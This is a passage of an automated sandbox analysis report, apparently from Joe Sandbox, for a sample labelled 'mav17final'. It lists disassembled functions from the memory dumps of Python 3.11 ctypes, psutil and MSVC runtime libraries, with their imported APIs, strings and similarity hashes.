PyErr_Clear.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A40
PyLong_AsLong.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A49
PyErr_Occurred.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A5B
PyErr_SetString.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A7B
PyUnicode_AsWideCharString.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A98
PyCapsule_New.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67ABC
PyMem_Free.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67AD3

Strings

Don't know how to convert parameter %d, xrefs: 00007FF8B9F67B27
int too long to convert, xrefs: 00007FF8B9F67A71
_ctypes pymem, xrefs: 00007FF8B9F67AB5

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$String$LongLong_Occurred$Bytes_Capsule_CharClearFreeMem_Unicode_UnsignedWide
String ID: Don't know how to convert parameter %d$_ctypes pymem$int too long to convert
API String ID: 3969321993-4137960972
Opcode ID: 84a72b6a64f7e58ef7106ff91161727bef33725574b0370cedf856625ec34b12
Instruction ID: 916fe931dedc0605be5d2df4c48712a079f3173fb19173bd10d45e4bfcd36065
Opcode Fuzzy Hash: 84a72b6a64f7e58ef7106ff91161727bef33725574b0370cedf856625ec34b12
Instruction Fuzzy Hash: 6451F632A19F8282EB448F29E89417827A0FF49BFAB185535DB5D837A8DF3CE551C350

Function 00007FF8B9F61404 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 117COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FF8B9F61458
PyTuple_Pack.PYTHON311 ref: 00007FF8B9F61475
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F614AD
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F614D9
_PyObject_CallFunction_SizeT.PYTHON311 ref: 00007FF8B9F6154D
PyDict_New.PYTHON311 ref: 00007FF8B9F61584
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66A03

Part of subcall function 00007FF8B9F615A4: PyDict_GetItemWithError.PYTHON311(?,?,?,?,00007FF8B9F61499), ref: 00007FF8B9F615AF

Strings

%.200s_Array_%Id, xrefs: 00007FF8B9F614FD
_type_, xrefs: 00007FF8B9F61516
_length_, xrefs: 00007FF8B9F61529
Array length must be >= 0, not %zd, xrefs: 00007FF8B9F669EE
s(O){s:n,s:O}, xrefs: 00007FF8B9F6153F
Expected a type object, xrefs: 00007FF8B9F66A16

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocDict_$CallErr_ErrorFromFunction_ItemLong_Object_OccurredPackSizeSsize_tTuple_With
String ID: %.200s_Array_%Id$Array length must be >= 0, not %zd$Expected a type object$_length_$_type_$s(O){s:n,s:O}
API String ID: 2975079148-1488966637
Opcode ID: 4b9e39d2e5c219fd7f77c84992df2d80c2fda8daf9d237960527683bdad92fae
Instruction ID: 7eca9d6ff16c404f4d081a044a86e2c792e015458648155b138954e77fcd8c26
Opcode Fuzzy Hash: 4b9e39d2e5c219fd7f77c84992df2d80c2fda8daf9d237960527683bdad92fae
Instruction Fuzzy Hash: 20512821A09FC285EE508F59E9502B977A4EF4ABF6F18A535DB0E463A4EF3CE445C340

Function 00007FF8B9F69A88 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 101COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F69ABE
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F69AE7
PyMemoryView_FromObject.PYTHON311 ref: 00007FF8B9F69AF6
PyBuffer_IsContiguous.PYTHON311 ref: 00007FF8B9F69B1C
PyErr_SetString.PYTHON311 ref: 00007FF8B9F69B51
PyErr_Format.PYTHON311 ref: 00007FF8B9F69B84
PySys_Audit.PYTHON311 ref: 00007FF8B9F69BA5
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F69BD4

Strings

ctypes.cdata/buffer, xrefs: 00007FF8B9F69B9E
O|n:from_buffer, xrefs: 00007FF8B9F69AE0
offset cannot be negative, xrefs: 00007FF8B9F69B47
nnn, xrefs: 00007FF8B9F69B97
abstract class, xrefs: 00007FF8B9F69AB4
underlying buffer is not C contiguous, xrefs: 00007FF8B9F69B26
underlying buffer is not writable, xrefs: 00007FF8B9F69B0E
Buffer size too small (%zd instead of at least %zd bytes), xrefs: 00007FF8B9F69B7A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$String$Arg_AuditBuffer_ContiguousDeallocFormatFromMemoryObjectParseSizeSys_Tuple_View_
String ID: Buffer size too small (%zd instead of at least %zd bytes)$O|n:from_buffer$abstract class$ctypes.cdata/buffer$nnn$offset cannot be negative$underlying buffer is not C contiguous$underlying buffer is not writable
API String ID: 3947696715-3790261066
Opcode ID: 6f91a64f5329831d1cdf7c4b25470fb5dbaa7ad2f9e3551f3ba25eea1f825ae0
Instruction ID: b70d24247ee1fc7790b8c7ada05db2768837d910fc19dd9b6b5ac387476d495b
Opcode Fuzzy Hash: 6f91a64f5329831d1cdf7c4b25470fb5dbaa7ad2f9e3551f3ba25eea1f825ae0
Instruction Fuzzy Hash: 92412861A08BC681EA54CF2EE8901B927A1EF85BF6F086135DB1D477A5DF6CE588C300

Function 00007FF8B9F6D5F8 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 79threadCOMMON

Download Yara Rule

APIs

PyThreadState_GetDict.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D610
PyErr_SetString.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D62F
PyUnicode_InternFromString.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D660
PyDict_GetItemWithError.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D678
PyCapsule_IsValid.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D690
PyCapsule_GetPointer.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D6B0
PyErr_Occurred.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D6C1
PyMem_Calloc.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D6D6
PyCapsule_New.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D6F9
PyMem_Free.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D70A
PyDict_SetItem.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D722
_Py_Dealloc.PYTHON311(?,?,?,00007FF8B9F68759), ref: 00007FF8B9F6D73E

Strings

ctypes.error_object is an invalid capsule, xrefs: 00007FF8B9F6D69A
cannot get thread state, xrefs: 00007FF8B9F6D61E
ctypes.error_object, xrefs: 00007FF8B9F6D659
_ctypes pymem, xrefs: 00007FF8B9F6D686, 00007FF8B9F6D6A6, 00007FF8B9F6D6F2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Capsule_$Dict_Err_ItemMem_String$CallocDeallocDictErrorFreeFromInternOccurredPointerState_ThreadUnicode_ValidWith
String ID: _ctypes pymem$cannot get thread state$ctypes.error_object$ctypes.error_object is an invalid capsule
API String ID: 2323834031-3474121714
Opcode ID: accf9b440147d9a92cb32684a6abaa720b59604840fdd08eebf715022aa40aa7
Instruction ID: 318735d007ae14006ff4bfc844666fbbe453ce6c54eeee8b5209da6a2c00b523
Opcode Fuzzy Hash: accf9b440147d9a92cb32684a6abaa720b59604840fdd08eebf715022aa40aa7
Instruction Fuzzy Hash: 8731F320A0AF8381EA948F19EC541782BA0AF49BFBF596435DB0E437A4EF3DE545D310

Function 00007FF8B9074F30 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130COMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B9074F88
GetLastError.KERNEL32 ref: 00007FF8B9074FB4
GetLogicalProcessorInformationEx.KERNELBASE ref: 00007FF8B9074FF0
fprintf.MSPDB140-MSVCRT ref: 00007FF8B907511F
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9075139

Strings

GetLogicalProcessorInformationEx() returned %u, xrefs: 00007FF8B90750A1
GetLogicalProcessorInformationEx() count was 0, xrefs: 00007FF8B9075115
psutil/arch/windows/cpu.c, xrefs: 00007FF8B9074F77, 00007FF8B9075075, 00007FF8B90750F4
psutil-debug [%s:%d]> , xrefs: 00007FF8B9074F81, 00007FF8B907507F, 00007FF8B90750FE
Win < 7; cpu_count_cores() forced to None, xrefs: 00007FF8B9074F96

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$ErrorInformationLastLogicalProcessor
String ID: GetLogicalProcessorInformationEx() count was 0$GetLogicalProcessorInformationEx() returned %u$Win < 7; cpu_count_cores() forced to None$psutil-debug [%s:%d]> $psutil/arch/windows/cpu.c
API String ID: 836211139-299206587
Opcode ID: 4fbf2db0554dc03b03eaadc2732e5f3e02d61a734d2f394582dadc023be77089
Instruction ID: 6b557b8ba70c32673dc5ee83be201f533888bc2b927862b0e8c869addf0e3f1d
Opcode Fuzzy Hash: 4fbf2db0554dc03b03eaadc2732e5f3e02d61a734d2f394582dadc023be77089
Instruction Fuzzy Hash: 3E512D21A096C682EF549F2DE8542B97BA1BF64BE1F44813ADB0E07795DF3CE846C350

Function 00007FF8B9F64118 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

PySequence_Tuple.PYTHON311 ref: 00007FF8B9F64130
PyTuple_New.PYTHON311 ref: 00007FF8B9F64157
_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F6418A
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68CDD
PyErr_Format.PYTHON311 ref: 00007FF8B9F68CFA
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68D10
PyErr_Format.PYTHON311 ref: 00007FF8B9F68D2A
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68D3B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68D4C
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68D5B
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F68D61
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68D74

Strings

_argtypes_ has too many arguments (%zi), maximum is %i, xrefs: 00007FF8B9F68D1D
_argtypes_ must be a sequence of types, xrefs: 00007FF8B9F68CD3
item %zd in _argtypes_ has no from_param method, xrefs: 00007FF8B9F68CF0

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Err_$Format$AttrLookupObject_OccurredSequence_StringTupleTuple_
String ID: _argtypes_ has too many arguments (%zi), maximum is %i$_argtypes_ must be a sequence of types$item %zd in _argtypes_ has no from_param method
API String ID: 4102822968-1150265712
Opcode ID: b465a1dad8b079f441bebe69d373bb45d8456e0132b52fc939e0217758a31e23
Instruction ID: c1274b7ff749d5705b478a1423be304c4a0ebb626bc5c78f3abdff2c1223e475
Opcode Fuzzy Hash: b465a1dad8b079f441bebe69d373bb45d8456e0132b52fc939e0217758a31e23
Instruction Fuzzy Hash: 8E410622E0DF8392EA559F29E8440786BA0AF96FF6F082035CB0E46B64DE3CE545C310

Function 00007FF8B9F6D2E0 Relevance: 24.6, APIs: 5, Strings: 9, Instructions: 104COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6D350
PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6D3F1
PyFloat_FromDouble.PYTHON311 ref: 00007FF8B9F6D431
PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6D44D
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6D45F

Strings

<cparam 0x%02x at %p>, xrefs: 00007FF8B9F6D3D1
<cparam '%c' (%p)>, xrefs: 00007FF8B9F6D3DA
<cparam '%c' (%d)>, xrefs: 00007FF8B9F6D346
<cparam '%c' (%R)>, xrefs: 00007FF8B9F6D443
<cparam '%c' (%ld)>, xrefs: 00007FF8B9F6D3FD
<cparam '%c' ('\x%02x')>, xrefs: 00007FF8B9F6D37E
<cparam '%c' at %p>, xrefs: 00007FF8B9F6D3C8
<cparam '%c' (%lld)>, xrefs: 00007FF8B9F6D3E3
<cparam '%c' ('%c')>, xrefs: 00007FF8B9F6D370

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: From$FormatUnicode_$DeallocDoubleFloat_
String ID: <cparam '%c' (%R)>$<cparam '%c' (%d)>$<cparam '%c' (%ld)>$<cparam '%c' (%lld)>$<cparam '%c' (%p)>$<cparam '%c' ('%c')>$<cparam '%c' ('\x%02x')>$<cparam '%c' at %p>$<cparam 0x%02x at %p>
API String ID: 1798191970-1075073485
Opcode ID: e630b7be73e712d3a37526d796ee4f4f39b16323d62473f23fa0d0fb00351437
Instruction ID: f0b69bd779605589c1fdd6e2248dfe66ff526c7cfa630213eeadf11bbacfaa17
Opcode Fuzzy Hash: e630b7be73e712d3a37526d796ee4f4f39b16323d62473f23fa0d0fb00351437
Instruction Fuzzy Hash: 0C415162E0C6C782E7694F2DEC550381B61DF56BE6F281138C74E067A9DE2CF945E360

Function 00007FF8B9F69C0C Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F69C49
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F69C6D
PyErr_SetString.PYTHON311 ref: 00007FF8B9F69C95
PyBuffer_Release.PYTHON311 ref: 00007FF8B9F69CA0
PyErr_Format.PYTHON311 ref: 00007FF8B9F69CD4
PySys_Audit.PYTHON311 ref: 00007FF8B9F69CF7
memcpy.VCRUNTIME140 ref: 00007FF8B9F69D2B
PyBuffer_Release.PYTHON311 ref: 00007FF8B9F69D38

Strings

ctypes.cdata/buffer, xrefs: 00007FF8B9F69CF0
offset cannot be negative, xrefs: 00007FF8B9F69C8B
nnn, xrefs: 00007FF8B9F69CE9
abstract class, xrefs: 00007FF8B9F69C3F
Buffer size too small (%zd instead of at least %zd bytes), xrefs: 00007FF8B9F69CCA
y*|n:from_buffer_copy, xrefs: 00007FF8B9F69C66

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Buffer_ReleaseString$Arg_AuditFormatParseSizeSys_Tuple_memcpy
String ID: Buffer size too small (%zd instead of at least %zd bytes)$abstract class$ctypes.cdata/buffer$nnn$offset cannot be negative$y*|n:from_buffer_copy
API String ID: 2374319793-1742308441
Opcode ID: 2d8fddc9779f14f0481d8ddfd406fb15762d92becc72ec0614fe25a827832394
Instruction ID: 484033608bd456210c6263b488e247d9cffbd635328812e6c8518aa24279f96b
Opcode Fuzzy Hash: 2d8fddc9779f14f0481d8ddfd406fb15762d92becc72ec0614fe25a827832394
Instruction Fuzzy Hash: 48312861B18FC681EA508F5AE8402B96760FF85BE2F449036DB4E83765DE3CE449C300

Function 00007FF8B9F6C224 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 75COMMON

Download Yara Rule

APIs

_PyArg_NoKeywords.PYTHON311 ref: 00007FF8B9F6C246
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F6C272
PySequence_GetSlice.PYTHON311 ref: 00007FF8B9F6C28C
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6C2AB
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C2BC
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6C2D5
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6C2EE
PyObject_SetAttrString.PYTHON311 ref: 00007FF8B9F6C307
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C322

Strings

hresult, xrefs: 00007FF8B9F6C2CB
args, xrefs: 00007FF8B9F6C2A1
details, xrefs: 00007FF8B9F6C2FD
text, xrefs: 00007FF8B9F6C2E4
OOO:COMError, xrefs: 00007FF8B9F6C26B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AttrObject_String$Arg_Dealloc$KeywordsParseSequence_SizeSliceTuple_
String ID: OOO:COMError$args$details$hresult$text
API String ID: 4238450639-2065934886
Opcode ID: 7b88bc987767ef29d30f6af4a34bd6ec754f27a2cd5e2595f319dc9faf46bccc
Instruction ID: 189058dab90437c012c784b4198e491f918953bd82f6ef352d38aaf2643a0bcd
Opcode Fuzzy Hash: 7b88bc987767ef29d30f6af4a34bd6ec754f27a2cd5e2595f319dc9faf46bccc
Instruction Fuzzy Hash: B0312B61A08F8292FA109F6DE9411BA2BA0FF85BF6F486035CF4E47764DE2CE445C740

Function 00007FF8B9F645B8 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 68threadlibraryCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F645DC
PySys_Audit.PYTHON311 ref: 00007FF8B9F645FD
PyUnicode_AsWideCharString.PYTHON311 ref: 00007FF8B9F6460E
PyEval_SaveThread.PYTHON311 ref: 00007FF8B9F6461C
LoadLibraryExW.KERNEL32 ref: 00007FF8B9F6462F
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B9F64646
PyMem_Free.PYTHON311 ref: 00007FF8B9F6464F
PyLong_FromVoidPtr.PYTHON311 ref: 00007FF8B9F64669
GetLastError.KERNEL32 ref: 00007FF8B9F68E9A
PyErr_Format.PYTHON311 ref: 00007FF8B9F68EBD
PyErr_SetFromWindowsErr.PYTHON311 ref: 00007FF8B9F68ECB

Strings

Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax., xrefs: 00007FF8B9F68EAE
ctypes.dlopen, xrefs: 00007FF8B9F645F6
U|i:LoadLibrary, xrefs: 00007FF8B9F645D5

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_Eval_FromThread$Arg_AuditCharErrorFormatFreeLastLibraryLoadLong_Mem_ParseRestoreSaveStringSys_TupleUnicode_VoidWideWindows
String ID: Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax.$U|i:LoadLibrary$ctypes.dlopen
API String ID: 3805577924-808210370
Opcode ID: 8085d2a71d9d3a5a76fe34bec048b7c14a2e952a150ea8cd1b327b92dda5160e
Instruction ID: dafb12246e43aaa9766233cc62f924e57ea7374061a6b4f65100cbc9e198af33
Opcode Fuzzy Hash: 8085d2a71d9d3a5a76fe34bec048b7c14a2e952a150ea8cd1b327b92dda5160e
Instruction Fuzzy Hash: F5210A61E08FC386FA449FAAE8541796B61AF8ABF6F085035CB4E42364DF7CE449C710

Function 00007FF8B9F6C5B0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

PyUnicode_InternFromString.PYTHON311 ref: 00007FF8B9F6C5CB
PyImport_ImportModule.PYTHON311 ref: 00007FF8B9F6C5DF
PyErr_Clear.PYTHON311 ref: 00007FF8B9F6C5ED
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F6C607
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C619
PyErr_WriteUnraisable.PYTHON311 ref: 00007FF8B9F6C639
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C655
PyLong_AsLong.PYTHON311 ref: 00007FF8B9F6C663
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6C66B
PyErr_WriteUnraisable.PYTHON311 ref: 00007FF8B9F6C68B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C69F

Strings

_ctypes.DllCanUnloadNow, xrefs: 00007FF8B9F6C5C4
DllCanUnloadNow, xrefs: 00007FF8B9F6C5FD
ctypes, xrefs: 00007FF8B9F6C5D8

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Dealloc$StringUnraisableWrite$AttrClearFromImportImport_InternLongLong_ModuleObject_OccurredUnicode_
String ID: DllCanUnloadNow$_ctypes.DllCanUnloadNow$ctypes
API String ID: 3419117993-4136862661
Opcode ID: 6480632f02bad077a56764e5c1bb2d947567b6f8de28b8c217792b4108e53cfe
Instruction ID: 0844d4d1c954aa4b371dc91bccbc7b8ad0571e95d7abc54a628be9d3bd3bf97a
Opcode Fuzzy Hash: 6480632f02bad077a56764e5c1bb2d947567b6f8de28b8c217792b4108e53cfe
Instruction Fuzzy Hash: 0821BB21E09F8691FE549F29ED582342BA1AF5ABF7F086134CB4E46760EF2CA455C305

Function 00007FF8BA24D5B0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF8BA248B34), ref: 00007FF8BA24DA16
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24DA55
swprintf_s.PGOCR ref: 00007FF8BA24DA75
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24DA85
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24DAD5

Strings

lambda, xrefs: 00007FF8BA24D974
nullptr, xrefs: 00007FF8BA24D799
`generic-method-parameter-, xrefs: 00007FF8BA24DAA2
`template-type-parameter-, xrefs: 00007FF8BA24DAF6
NULL, xrefs: 00007FF8BA24D67D
`generic-class-parameter-, xrefs: 00007FF8BA24DAE6

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 9797e925e62f8d7d60f646e305733279f9163504f8593401decf67f28b7cb35e
Instruction ID: 125e2c7957815543d749d593b41b8f5bc2236b0b97d07459b6cc188b05d6a526
Opcode Fuzzy Hash: 9797e925e62f8d7d60f646e305733279f9163504f8593401decf67f28b7cb35e
